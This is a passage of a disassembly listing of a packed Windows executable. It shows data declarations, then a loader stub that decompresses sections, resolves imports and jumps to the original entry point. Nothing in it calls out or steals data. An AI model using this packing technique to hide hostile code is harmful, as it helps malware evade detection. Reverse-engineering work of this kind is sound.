dword_4D43B4 dd 0 ; DATA XREF: seg000:0040BA8Bw
dd 0
dword_4D43BC dd 0 ; DATA XREF: seg000:loc_40BB68r
dword_4D43C0 dd 0 ; DATA XREF: seg000:0040B947w
; seg000:0040B9DDo
dword_4D43C4 dd 0 ; DATA XREF: seg000:0040B9D3w
; seg000:0040B9EFr
dword_4D43C8 dd 0 ; DATA XREF: seg000:0040B952w
dword_4D43CC dd 0 ; DATA XREF: seg000:0040B93Cw
; seg000:0040B9AAr
dword_4D43D0 dd 20h dup(0) ; DATA XREF: seg000:0040B965o
; seg000:0040B997o
dword_4D4450 dd 0 ; DATA XREF: seg000:0040B958w
dword_4D4454 dd 0 ; DATA XREF: seg000:0040B96Fw
; seg000:0040B9A1w
dword_4D4458 dd 0 ; DATA XREF: seg000:loc_40BB53r
align 10h
dword_4D4460 dd 0 ; DATA XREF: seg000:0040B824w
; seg000:0040B8B6o
dword_4D4464 dd 41h dup(0) ; DATA XREF: seg000:0040B7EDo
dword_4D4568 dd 41h dup(0) ; DATA XREF: seg000:0040B80Bo
dword_4D466C dd 0 ; DATA XREF: seg000:0040B8ACw
; seg000:0040B8C8r
dword_4D4670 dd 0 ; DATA XREF: seg000:0040B7F9w
dword_4D4674 dd 0 ; DATA XREF: seg000:0040B7F4w
; seg000:0040B883r
dword_4D4678 dd 20h dup(0) ; DATA XREF: seg000:0040B83Do
; seg000:0040B86Fo
dword_4D46F8 dd 0 ; DATA XREF: seg000:0040B830w
dword_4D46FC dd 0 ; DATA XREF: seg000:0040B847w
; seg000:0040B879w
dword_4D4700 dd 0 ; DATA XREF: seg000:loc_40B983r
align 8
dword_4D4708 dd 0 ; DATA XREF: seg000:0040B712w
; seg000:0040B78Eo
dword_4D470C dd 41h dup(0) ; DATA XREF: seg000:0040B6D6o
dword_4D4810 dd 41h dup(0) ; DATA XREF: seg000:0040B6F9o
dword_4D4914 dd 0 ; DATA XREF: seg000:0040B784w
; seg000:0040B7A0r
dword_4D4918 dd 0 ; DATA XREF: seg000:0040B6E2w
dword_4D491C dd 0 ; DATA XREF: seg000:0040B6DDw
; seg000:0040B75Br
dword_4D4920 dd 20h dup(0) ; DATA XREF: seg000:0040B72Ao
; seg000:0040B747o
dword_4D49A0 dd 0 ; DATA XREF: seg000:0040B71Dw
dword_4D49A4 dd 0 ; DATA XREF: seg000:0040B734w
; seg000:0040B751w
dword_4D49A8 dd 0 ; DATA XREF: seg000:loc_40B85Br
dd 81h dup(0)
dword_4D4BB0 dd 40h dup(0) ; DATA XREF: sub_40D055+C0o
; seg000:0040D2AFo
dword_4D4CB0 dd 0 ; DATA XREF: seg000:0040D2C7w
dword_4D4CB4 dd 0 ; DATA XREF: seg000:0040D688w
; seg000:0040D6A1r ...
dword_4D4CB8 dd 0 ; DATA XREF: seg000:0040D29Ew
; seg000:0040D695w ...
dword_4D4CBC dd 0 ; DATA XREF: seg000:0040D18Fw
; seg000:0040D290r ...
dword_4D4CC0 dd 0 ; DATA XREF: seg000:0040D174w
; seg000:loc_40D1B6r
align 8
dword_4D4CC8 dd 2Bh dup(0) ; DATA XREF: seg000:0040D236o
dword_4D4D74 dd 81h dup(0) ; DATA XREF: seg000:0040D258o
db 2 dup(0)
word_4D4F7A dw 0 ; DATA XREF: seg000:0040D56Do
; seg000:0040D59Ao ...
dword_4D4F7C dd 0 ; DATA XREF: seg000:loc_40D630o
db 2 dup(0)
word_4D4F82 dw 0 ; DATA XREF: seg000:0040D2F2o
; seg000:0040D324o ...
dword_4D4F84 dd 4 dup(0) ; DATA XREF: seg000:loc_40D303o
dword_4D4F94 dd 2Eh dup(0) ; DATA XREF: seg000:0040D269o
db 2 dup(0)
word_4D504E dw 0 ; DATA XREF: seg000:0040D27Do
dd 1Eh dup(0)
dword_4D50C8 dd 0 ; DATA XREF: seg000:0040D721w
; seg000:0040D74Br
dword_4D50CC dd 3 dup(0) ; DATA XREF: sub_40ED91+66o
dword_4D50D8 dd 40h dup(0) ; DATA XREF: sub_40F87A+1Eo
dword_4D51D8 dd 0 ; DATA XREF: sub_40F87A+71r
; sub_40F87A+85r
align 10h
dword_4D51E0 dd 19h dup(0) ; DATA XREF: sub_40F87A+93o
dword_4D5244 dd 0 ; DATA XREF: seg000:004115EFo
; seg000:00411624r ...
dword_4D5248 dd 0 ; DATA XREF: seg000:004114FCr
; seg000:004115EAo ...
dword_4D524C dd 0 ; DATA XREF: seg000:00411529r
; seg000:00411611o ...
dword_4D5250 dd 0 ; DATA XREF: seg000:004114DEr
; seg000:00411547r ...
dword_4D5254 dd 0 ; DATA XREF: seg000:0041160Co
; seg000:00411630r ...
dword_4D5258 dd 0 ; DATA XREF: sub_40B4FF+15r
dword_4D525C dd 0BC8Eh ; DATA XREF: seg000:0040B937r
; seg000:0040CF7Ar ...
dword_4D5260 dd 0 ; DATA XREF: seg000:00411A2Aw
; seg000:00411A51r ...
dd 5 dup(0)
byte_4D5278 db 0 ; DATA XREF: seg000:00415D98w
; seg000:00415E97o
align 2
word_4D527A dw 0 ; DATA XREF: seg000:00415DA8w
word_4D527C dw 0 ; DATA XREF: seg000:00415DAEw
word_4D527E dw 0 ; DATA XREF: seg000:00415DB5w
byte_4D5280 db 0 ; DATA XREF: seg000:00415DBCw
byte_4D5281 db 0 ; DATA XREF: seg000:00415DC3w
word_4D5282 dw 0 ; DATA XREF: seg000:00415DC9w
dword_4D5284 dd 0 ; DATA XREF: seg000:00415DF7w
; seg000:00415E15w
dword_4D5288 dd 0 ; DATA XREF: seg000:00415E1Dw
byte_4D528C db 0 ; DATA XREF: seg000:00415E2Fw
byte_4D528D db 0 ; DATA XREF: seg000:00415E42w
word_4D528E dw 0 ; DATA XREF: seg000:00415E5Aw
word_4D5290 dw 0 ; DATA XREF: seg000:00415E69w
word_4D5292 dw 0 ; DATA XREF: seg000:00415E61w
dword_4D5294 dd 101h dup(0) ; DATA XREF: seg000:00415E7Eo
dword_4D5698 dd 80h dup(0) ; DATA XREF: sub_40274D+2D39o
; sub_40274D:loc_405535o ...
dword_4D5898 dd 0 ; DATA XREF: sub_40274D+1843w
; sub_40274D+2D31r ...
align 10h
byte_4D58A0 db 0 ; DATA XREF: sub_417272+1C8w
; sub_417272+2A1o
align 2
word_4D58A2 dw 0 ; DATA XREF: sub_417272+1D5w
word_4D58A4 dw 0 ; DATA XREF: sub_417272+1DFw
word_4D58A6 dw 0 ; DATA XREF: sub_417272+1E8w
byte_4D58A8 db 0 ; DATA XREF: sub_417272+1EFw
byte_4D58A9 db 0 ; DATA XREF: sub_417272+1F6w
word_4D58AA dw 0 ; DATA XREF: sub_417272+1FDw
dword_4D58AC dd 0 ; DATA XREF: sub_417272+20Aw
dword_4D58B0 dd 0 ; DATA XREF: sub_417272+212w
word_4D58B4 dw 0 ; DATA XREF: sub_417272+26Bw
word_4D58B6 dw 0 ; DATA XREF: sub_417272+253w
word_4D58B8 dw 0 ; DATA XREF: sub_417272+27Dw
word_4D58BA dw 0 ; DATA XREF: sub_417272+21Ew
dword_4D58BC dd 100h dup(0) ; DATA XREF: sub_417272+28Co
dword_4D5CBC dd 0 ; DATA XREF: sub_41776E+372w
; sub_41776E+3E8o
dword_4D5CC0 dd 0 ; DATA XREF: sub_41776E+30Ew
byte_4D5CC4 db 0 ; DATA XREF: sub_41776E+314w
byte_4D5CC5 db 0 ; DATA XREF: sub_41776E+31Aw
word_4D5CC6 dw 0 ; DATA XREF: sub_41776E+327w
dword_4D5CC8 dd 6 dup(0) ; DATA XREF: sub_41776E+3CCo
byte_4D5CE0 db 0 ; DATA XREF: sub_41776E+223o
; sub_41776E+238w ...
byte_4D5CE1 db 0 ; DATA XREF: sub_41776E+246w
word_4D5CE2 dw 0 ; DATA XREF: sub_41776E+270w
word_4D5CE4 dw 0 ; DATA XREF: sub_41776E+25Ew
; sub_41776E:loc_417B11w
word_4D5CE6 dw 0 ; DATA XREF: sub_41776E+276w
byte_4D5CE8 db 0 ; DATA XREF: sub_41776E+27Dw
byte_4D5CE9 db 0 ; DATA XREF: sub_41776E+23Fw
word_4D5CEA dw 0 ; DATA XREF: sub_41776E+3B9w
; sub_41776E+3EDw
dword_4D5CEC dd 0 ; DATA XREF: sub_41776E:loc_417A0Aw
; sub_41776E+36Dr
dword_4D5CF0 dd 0 ; DATA XREF: sub_41776E+2A9w
word_4D5CF4 dw 0 ; DATA XREF: sub_41776E+367w
; sub_41776E+3C7o
word_4D5CF6 dw 0 ; DATA XREF: sub_41776E+308w
; sub_41776E+32Dr ...
dword_4D5CF8 dd 0 ; DATA XREF: sub_41776E+2E2w
; sub_41776E+3AAw
dword_4D5CFC dd 0 ; DATA XREF: sub_41776E+2FBw
; sub_41776E+37Ew ...
byte_4D5D00 db 0 ; DATA XREF: sub_41776E+2E7r
; sub_41776E+2F0w
byte_4D5D01 db 0 ; DATA XREF: sub_41776E+2AEw
; sub_41776E+377w ...
word_4D5D02 dw 0 ; DATA XREF: sub_41776E+2BCw
word_4D5D04 dw 0 ; DATA XREF: sub_41776E+3C0w
; sub_41776E+40Cw
word_4D5D06 dw 0 ; DATA XREF: sub_41776E+301w
dd 0
word_4D5D0C dw 0 ; DATA XREF: sub_41776E+333w
; sub_41776E+3FDo
word_4D5D0E dw 0 ; DATA XREF: sub_41776E+342w
; sub_41776E+3DBw
dword_4D5D10 dd 0 ; DATA XREF: sub_41776E+33Cw
align 10h
dword_4D5D20 dd 0 ; DATA XREF: sub_41776E+32w
; sub_41776E+406r
align 8
dword_4D5D28 dd 100h dup(0) ; DATA XREF: sub_41776E+1ACo
; sub_41776E+44Fo
dword_4D6128 dd 1000h dup(0) ; DATA XREF: sub_417D70+1Do
; sub_417E10o
dword_4DA128 dd 0 ; DATA XREF: sub_417D70+13o
; sub_417E10+Eo ...
dword_4DA12C dd 0Dh dup(0) ; DATA XREF: sub_419443+10o
dword_4DA160 dd 201h dup(0) ; DATA XREF: seg000:00419C61o
; seg000:00419DC1o ...
dword_4DA964 dd 0 ; DATA XREF: seg000:00419EA4r
; seg000:00419F4Ar
dword_4DA968 dd 203h dup(0) ; DATA XREF: seg000:00419C78o
; seg000:00419DD8o ...
dword_4DB174 dd 0 ; DATA XREF: seg000:00419E54r
; seg000:00419E7Dr ...
dword_4DB178 dd 0 ; DATA XREF: seg000:00419CFEw
; seg000:00419E29w
dword_4DB17C dd 0 ; DATA XREF: seg000:00419D03w
; seg000:00419E2Fw ...
dword_4DB180 dd 0 ; DATA XREF: seg000:00419CDCw
; seg000:00419E9Er
align 8
dword_4DB188 dd 80h dup(0) ; DATA XREF: seg000:00419EADo
dword_4DB388 dd 80h dup(0) ; DATA XREF: seg000:00419F25o
dword_4DB588 dd 0 ; DATA XREF: seg000:0041A7CCw
; seg000:loc_41A934w ...
dword_4DB58C dd 0 ; DATA XREF: sub_40274D+39DDo
; sub_41A24C+13o ...
dd 0
dword_4DB594 dd 0 ; DATA XREF: seg000:0041A7C4r
; sub_41A954+3Ar
dd 7Fh dup(0)
dword_4DB794 dd 0 ; DATA XREF: seg000:0041A7BCr
; sub_41A954+4Bw
dd 1944h dup(0)
dword_4E1CA8 dd 0 ; DATA XREF: sub_41A954+23o
; sub_41ACD0+6Do
dword_4E1CAC dd 7Fh dup(0) ; DATA XREF: sub_40274D+39FBo
; sub_41A24C+3Co
dword_4E1EA8 dd 17h dup(0) ; DATA XREF: sub_41B507:loc_41B620o
; sub_41B507+12Do ...
dword_4E1F04 dd 0 ; DATA XREF: sub_41B802+53w
; sub_41B802+5Br ...
dword_4E1F08 dd 0 ; DATA XREF: sub_41B802+33r
; sub_41B802+3Ew
align 10h
dword_4E1F10 dd 18h dup(0) ; DATA XREF: sub_41BD5A:loc_41BE78o
; sub_41BD5A+12Ao
dword_4E1F70 dd 80h dup(0) ; DATA XREF: sub_41BE8A+81o
; sub_41BE8A+A9o
dword_4E2170 dd 80h dup(0) ; DATA XREF: sub_41BF46:loc_41BF7Eo
; sub_41BF46+60o
dword_4E2370 dd 80h dup(0) ; DATA XREF: sub_41BFBE+51o
; sub_41BFBE+83o ...
dword_4E2570 dd 80h dup(0) ; DATA XREF: sub_41C19B+68o
; sub_41C19B+8Eo ...
dword_4E2770 dd 0 ; DATA XREF: sub_41C7BD+1Ar
; sub_41C9D4+87o
dword_4E2774 dd 0 ; DATA XREF: seg000:0041C936r
; seg000:0041C97Dr ...
dword_4E2778 dd 0 ; DATA XREF: sub_41C78D:loc_41C7A1r
; sub_41C9D4+11Fw
dword_4E277C dd 0 ; DATA XREF: sub_41C78Dr
; seg000:0041C916r ...
dword_4E2780 dd 0Dh dup(0) ; DATA XREF: seg000:0041C931o
; seg000:0041C978o ...
dword_4E27B4 dd 0 ; DATA XREF: sub_41C78D:loc_41C7AEr
; seg000:0041C8B1r ...
dword_4E27B8 dd 0Eh dup(0) ; DATA XREF: sub_41D5F8+40o
byte_4E27F0 db 0 ; DATA XREF: seg000:0041DF9Co
; seg000:0041DFC2o ...
align 4
dd 3Fh dup(0)
dword_4E28F0 dd 0 ; DATA XREF: sub_41E7B2+43r
; sub_41E7B2+9Fw
dword_4E28F4 dd 0 ; DATA XREF: sub_41E524+9w
; sub_41EAB4+165w ...
dword_4E28F8 dd 0 ; DATA XREF: sub_42065F+35w
; sub_420EE9:loc_420F83w ...
dword_4E28FC dd 0 ; DATA XREF: sub_426A43+149r
dword_4E2900 dd 2 ; DATA XREF: start-C32CAw sub_4210D5r ...
dword_4E2904 dd 0A28h ; DATA XREF: start-C32AAw start-C3299w
dword_4E2908 dd 501h ; DATA XREF: start-C328Ew
dword_4E290C dd 5 ; DATA XREF: start-C32C1w
; sub_4210D5+9r ...
dword_4E2910 dd 1 ; DATA XREF: start-C32B9w
dword_4E2914 dd 1 ; DATA XREF: sub_40A263:loc_40A542r
; sub_42661A+8Fw
dword_4E2918 dd 970B20h ; DATA XREF: sub_40A263+2E8r
; sub_40A263+308r ...
align 10h
dword_4E2920 dd 970B40h ; DATA XREF: sub_4263E7+48w
; sub_4263E7:loc_426498r ...
align 10h
off_4E2930 dd offset aCM_unpackerPac ; DATA XREF: sub_42661A+37w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4E2938 db 0 ; DATA XREF: sub_41F1B0+2Dw
align 4
dword_4E293C dd 0 ; DATA XREF: sub_41F1B0+27w
dword_4E2940 dd 0 ; DATA XREF: sub_41F1B0+7r
; sub_41F1B0+B0w
dword_4E2944 dd 0 ; DATA XREF: sub_421F4A+14Cw
; sub_422C6E:loc_422C97w ...
dd 0
dword_4E294C dd 0 ; DATA XREF: sub_41FE1A+Fw
dword_4E2950 dd 0 ; DATA XREF: sub_4201AB+Ar
; sub_4201AB+13w ...
dword_4E2954 dd 0 ; DATA XREF: start-C31D7w
; sub_4263E7:loc_4263F9r ...
dd 0
dword_4E295C dd 0 ; DATA XREF: sub_420CE8r start-C3221r ...
dword_4E2960 dd 0 ; DATA XREF: sub_421F2Fr
dword_4E2964 dd 0 ; DATA XREF: sub_41E3C2:loc_41E4CBr
; sub_41E3C2:loc_41E509r ...
align 10h
dword_4E2970 dd 1 ; DATA XREF: sub_422F16+19w
; sub_422F16+21w ...
dword_4E2974 dd 0 ; DATA XREF: sub_42490B+12r
; sub_4249FC+1Ar ...
byte_4E2978 db 0 ; DATA XREF: sub_42490B+3r
; sub_42490B+8Dr ...
align 4
dword_4E297C dd 0 ; DATA XREF: sub_4249FC+11r
; sub_424AD9+1Aw ...
byte_4E2980 db 0 ; DATA XREF: sub_424AD9+57w
align 4
dword_4E2984 dd 0 ; DATA XREF: sub_424DD8+32r
; sub_424DD8+42w ...
dword_4E2988 dd 0 ; DATA XREF: sub_424DD8+3Ar
; sub_424DD8+4Bw ...
dword_4E298C dd 0 ; DATA XREF: sub_424CB7+15w
; sub_424D64r ...
dword_4E2990 dd 0 ; DATA XREF: sub_41FFBA+8Dr
; sub_425165+14r
dword_4E2994 dd 0 ; DATA XREF: sub_4254B5+Cr
aYnW db 'ynÂw',0
align 10h
dd 0
dword_4E29A4 dd 0 ; DATA XREF: sub_4204DD+20r
; sub_4204DD:loc_4205AEr ...
dd 3 dup(0)
dword_4E29B4 dd 0 ; DATA XREF: sub_4204DD+61r
; sub_4204DD+C3r ...
dd 0
dword_4E29BC dd 1 ; DATA XREF: sub_425B55+Er
; sub_425B55+31w ...
dword_4E29C0 dd 0 ; DATA XREF: sub_4261E0+21r
dword_4E29C4 dd 0 ; DATA XREF: seg000:00426281r
; seg000:0042628Cw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42661A+1Co
; seg002:off_4E2930o
align 4
dd 3Ah dup(0)
byte_4E2ACC db 0 ; DATA XREF: sub_42661A+23w
align 10h
dword_4E2AD0 dd 1 ; DATA XREF: sub_4266BC+2r
; sub_4266BC+24w ...
dword_4E2AD4 dd 0 ; DATA XREF: sub_421F4A+7r
dword_4E2AD8 dd 1 ; DATA XREF: sub_426DA0+Er
; sub_426DA0+2Ew ...
dword_4E2ADC dd 0 ; DATA XREF: sub_426FC0+17r
word_4E2AE0 dw 0 ; DATA XREF: sub_427FEF+1Fo
; sub_427FEF+4Dr
byte_4E2AE2 db 0 ; DATA XREF: sub_427FEF+41r
align 4
dword_4E2AE4 dd 6 dup(0) ; DATA XREF: sub_427FEF+5Co
dword_4E2AFC dd 0 ; DATA XREF: sub_427FEF+48w
; sub_427FEF+66o
dword_4E2B00 dd 0 ; DATA XREF: sub_427FEF+54w
dword_4E2B04 dd 0 ; DATA XREF: sub_427FEF+3Cw
dword_4E2B08 dd 0 ; DATA XREF: sub_427FEF+5Cw
align 10h
dword_4E2B10 dd 0 ; DATA XREF: sub_4284E7:loc_42856Er
; sub_4284E7+13Fr ...
align 8
dword_4E2B18 dd 0 ; DATA XREF: sub_4284E7:loc_428581r
; sub_4284E7+1C4r ...
dd 0Fh dup(0)
dword_4E2B58 dd 0 ; DATA XREF: sub_4284E7+12Co
; sub_4284E7+191o ...
dword_4E2B5C dd 0 ; DATA XREF: sub_428710+9r
; sub_428710+38w ...
dword_4E2B60 dd 0 ; DATA XREF: sub_428710+4Dw
; sub_428710:loc_4287D5r
dword_4E2B64 dd 0 ; DATA XREF: sub_428710+5Bw
; sub_428710+D6r
dword_4E2B68 dd 0 ; DATA XREF: sub_428710+7Bw
; sub_428710:loc_428790r
dword_4E2B6C dd 0 ; DATA XREF: sub_428710+6Cw
; sub_428710+9Cr
dword_4E2B70 dd 0 ; DATA XREF: sub_426A43+3Dr
dword_4E2B74 dd 0 ; DATA XREF: sub_4292AF:loc_429315r
; sub_4292AF+6Co
dword_4E2B78 dd 0 ; DATA XREF: sub_4292AF:loc_4292EDr
; sub_4292AF+44o
dword_4E2B7C dd 0 ; DATA XREF: sub_4292AF:loc_4292E0r
; sub_4292AF+37o
dword_4E2B80 dd 0 ; DATA XREF: sub_4292AF:loc_4292FAr
; sub_4292AF+51o
align 8
dword_4E2B88 dd 0 ; DATA XREF: sub_429B7E+11r
; sub_429B7E+31w ...
dword_4E2B8C dd 0 ; DATA XREF: sub_429E31+11r
; sub_429E31+2Ew ...
dword_4E2B90 dd 1 ; DATA XREF: sub_41FCC0r sub_4203C0r ...
dword_4E2B94 dd 1 ; DATA XREF: seg000:0042469Fw
; seg000:004246CAw
dword_4E2B98 dd 20h ; DATA XREF: sub_420EE9+8r
; sub_421D41+Br ...
align 10h
dword_4E2BA0 dd 970650h ; DATA XREF: sub_421C63+74r
; sub_422124+ACr ...
dword_4E2BA4 dd 3Fh dup(0) ; DATA XREF: sub_42418E+91o
dword_4E2CA0 dd 0 ; DATA XREF: sub_422AC2+37r
; sub_422D61+1Aw ...
dword_4E2CA4 dd 0 ; DATA XREF: sub_422AC2+21r
; sub_422D61+15w ...
dd 6 dup(0)
byte_4E2CC0 db 0 ; DATA XREF: sub_422D61+6o
; sub_422F16+A7o ...
byte_4E2CC1 db 0 ; DATA XREF: sub_41ED01+5Er
; sub_422D8A+104w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4E2DC4 dd 4E4h ; DATA XREF: sub_422AC2+40r
; sub_422D61+10w ...
align 10h
dword_4E2DD0 dd 4 dup(0) ; DATA XREF: sub_422D61+1Fo
; sub_422F16+162o ...
byte_4E2DE0 db 0 ; DATA XREF: sub_422D8A:loc_422E9Cw
; sub_422D8A:loc_422EB9w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
dword_4E2EE0 dd 0 ; DATA XREF: sub_421140+21w
; sub_4211B3+21Cr ...
dword_4E2EE4 dd 0 ; DATA XREF: sub_421140+28w
; sub_421188r ...
dword_4E2EE8 dd 0 ; DATA XREF: sub_421140+15w
; sub_421188+8r ...
dword_4E2EEC dd 0 ; DATA XREF: sub_41E3C2+58r
; sub_41E561+Er ...
dword_4E2EF0 dd 0 ; DATA XREF: sub_421140+2Fw
; sub_4211B3+300w ...
dword_4E2EF4 dd 0 ; DATA XREF: sub_421140+3Cw
; sub_4214CB+5r ...
dword_4E2EF8 dd 0 ; DATA XREF: sub_4211B3+229r
; sub_4211B3+249r ...
dword_4E2EFC dd 970000h ; DATA XREF: sub_41E2A1+2Ar
; sub_41E3C2+B6r ...
dword_4E2F00 dd 1 ; DATA XREF: sub_41E2A1+9r
; sub_41E3C2:loc_41E3F1r ...
dword_4E2F04 dd 142340h ; DATA XREF: start-C31E1w
; sub_42638A:loc_42639Br ...
dword_4E2F08 dd 971080h ; DATA XREF: sub_4220B2+13r
; sub_4220B2+3Fr ...
dd 5 dup(0)
dword_4E2F20 dd 400h dup(0) ; DATA XREF: seg002:00443500o
; seg002:00443508o
dword_4E3F20 dd 200h ; DATA XREF: sub_4220B2+3r
dword_4E3F24 dd 1 ; DATA XREF: sub_4263E7+9Fw
dword_4E3F28 dd 97075Ch ; DATA XREF: sub_41F1B0+3Er
; sub_41F1B0:loc_41F202r ...
dword_4E3F2C dd 970758h ; DATA XREF: sub_41F1B0+34r
; sub_41F1B0+5Ar ...
dword_4E3F30 dd 1 ; DATA XREF: sub_4230FCr
; sub_4230FC+11w ...
align 100h
seg002 ends
; Section 4. (virtual address 000E4000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000E4000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg003 segment para public 'DATA' use32
assume cs:seg003
;org 4E4000h
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_A0 = dword ptr -0A0h
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
; FUNCTION CHUNK AT 00420D0D SIZE 000001A2 BYTES
; FUNCTION CHUNK AT 00420EDA SIZE 0000000F BYTES
pusha
call $+5
pop ebx
lea ebx, [ebx-6]
mov ebp, 400000h
mov edi, [ebp+3Ch]
lea esi, [ebp+edi+0]
lea edi, [esi+0F8h]
movzx esi, word ptr [esi+6]
dec esi
loc_4E4021: ; CODE XREF: start+81j
mov eax, [edi+10h]
or eax, eax
jz short loc_4E407D
movzx eax, word ptr [edi+22h]
or eax, eax
jz short loc_4E407D
push 4
push 1000h
push dword ptr [edi+10h]
push 0
call dword ptr [ebx+338h]
push eax
push esi
push edi
mov esi, ebp
add esi, [edi+0Ch]
mov ecx, [edi+10h]
mov edi, eax
mov eax, ecx
shr ecx, 2
cld
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov eax, [esp+0]
mov edx, ebp
add edx, [edi+0Ch]
call sub_4E41AC
pop eax
push 4000h
push dword ptr [edi+10h]
push eax
call dword ptr [ebx+33Ch]
loc_4E407D: ; CODE XREF: start+26j start+2Ej
add edi, 28h
dec esi
jnz short loc_4E4021
mov esi, 3A800h
or esi, esi
jz loc_4E419C
add esi, ebp
loc_4E4092: ; CODE XREF: start+10Cj
mov ecx, [esi+0Ch]
or ecx, ecx
jz loc_4E419C
add ecx, ebp
mov edi, ecx
push edi
call dword ptr [ebx+330h]
or eax, eax
jnz short loc_4E40E9
push 4
push 1000h
push 1000h
push 0
call dword ptr [ebx+338h]
mov esi, eax
lea eax, [ebx+26Fh]
push edi
push eax
push esi
call dword ptr [ebx+344h]
push 10h
push 0
push esi
push 0
call dword ptr [ebx+348h]
mov ebp, esp
mov eax, 7Eh
jmp dword ptr [esp+2Ch]
; ---------------------------------------------------------------------------
loc_4E40E9: ; CODE XREF: start+AAj
mov edi, eax
mov ecx, [esi]
or ecx, ecx
jnz short loc_4E40F4
mov ecx, [esi+10h]
loc_4E40F4: ; CODE XREF: start+EFj
or ecx, ecx
jz loc_4E41A3
add ecx, ebp
mov edx, [esi+10h]
add edx, ebp
loc_4E4103: ; CODE XREF: start+18Fj
mov eax, [ecx]
or eax, eax
jnz short loc_4E410E
add esi, 14h
jmp short loc_4E4092
; ---------------------------------------------------------------------------
loc_4E410E: ; CODE XREF: start+107j
test eax, 80000000h
jz short loc_4E411C
and eax, 0FFFFh
jmp short loc_4E4121
; ---------------------------------------------------------------------------
loc_4E411C: ; CODE XREF: start+113j
add eax, ebp
add eax, 2
loc_4E4121: ; CODE XREF: start+11Aj
push eax
push ecx
push edx
push eax
push edi
call dword ptr [ebx+334h]
pop edx
pop ecx
or eax, eax
jnz short loc_4E4184
add ebp, [esi+0Ch]
push 4
push 1000h
push 1000h
push 0
call dword ptr [ebx+338h]
mov esi, eax
pop edi
loc_4E414C: ; DATA XREF: seg001:off_4392B0o
test edi, 0FFFF0000h
jz short loc_4E415C
lea eax, [ebx+296h]
jmp short loc_4E4162
; ---------------------------------------------------------------------------
loc_4E415C: ; CODE XREF: start+152j
lea eax, [ebx+2C6h]
loc_4E4162: ; CODE XREF: start+15Aj
push ebp
push edi
push eax
push esi
call dword ptr [ebx+344h]
push 10h
push 0
push esi
push 0
call dword ptr [ebx+348h]
mov ebp, esp
mov eax, 7Fh
jmp dword ptr [esp+30h]
; ---------------------------------------------------------------------------
loc_4E4184: ; CODE XREF: start+130j
add esp, 4
mov [edx], eax
add ecx, 4
add edx, 4
jmp loc_4E4103
; ---------------------------------------------------------------------------
dd 0E914C683h, 0FFFFFEF6h
; ---------------------------------------------------------------------------
loc_4E419C: ; CODE XREF: start+8Aj start+97j
popa
push offset loc_420D0D
retn
; ---------------------------------------------------------------------------
loc_4E41A3: ; CODE XREF: start+F6j
mov ebp, esp
or eax, 0FFFFFFFFh
jmp [esp+0C0h+var_A0]
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4E41AC proc near ; CODE XREF: start+68p
; FUNCTION CHUNK AT 004E424A SIZE 00000005 BYTES
push ebp
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
cld
mov dl, 80h
xor ebx, ebx
loc_4E41B9: ; CODE XREF: sub_4E41AC+15j
movsb
mov bl, 2
loc_4E41BC: ; CODE XREF: sub_4E41AC+3Aj
; sub_4E41AC+80j
call sub_4E422E
jnb short loc_4E41B9
xor ecx, ecx
call sub_4E422E
jnb short loc_4E41E8
xor eax, eax
call sub_4E422E
jnb short loc_4E41F8
mov bl, 2
inc ecx
mov al, 10h
loc_4E41DA: ; CODE XREF: sub_4E41AC+35j
call sub_4E422E
adc al, al
jnb short loc_4E41DA
jnz short loc_4E4224
stosb
jmp short loc_4E41BC
; ---------------------------------------------------------------------------
loc_4E41E8: ; CODE XREF: sub_4E41AC+1Ej
call sub_4E423A
sub ecx, ebx
jnz short loc_4E4201
call sub_4E4238
jmp short loc_4E4220
; ---------------------------------------------------------------------------
loc_4E41F8: ; CODE XREF: sub_4E41AC+27j
lodsb
shr eax, 1
jz short loc_4E424A
adc ecx, ecx
jmp short loc_4E421D
; ---------------------------------------------------------------------------
loc_4E4201: ; CODE XREF: sub_4E41AC+43j
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call sub_4E4238
cmp eax, 7D00h
jnb short loc_4E421D
cmp ah, 5
jnb short loc_4E421E
cmp eax, 7Fh
ja short loc_4E421F
loc_4E421D: ; CODE XREF: sub_4E41AC+53j
; sub_4E41AC+65j
inc ecx
loc_4E421E: ; CODE XREF: sub_4E41AC+6Aj
inc ecx
loc_4E421F: ; CODE XREF: sub_4E41AC+6Fj
xchg eax, ebp
loc_4E4220: ; CODE XREF: sub_4E41AC+4Aj
mov eax, ebp
mov bl, 1
loc_4E4224: ; CODE XREF: sub_4E41AC+37j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4E41BC
sub_4E41AC endp
; =============== S U B R O U T I N E =======================================
sub_4E422E proc near ; CODE XREF: sub_4E41AC:loc_4E41BCp
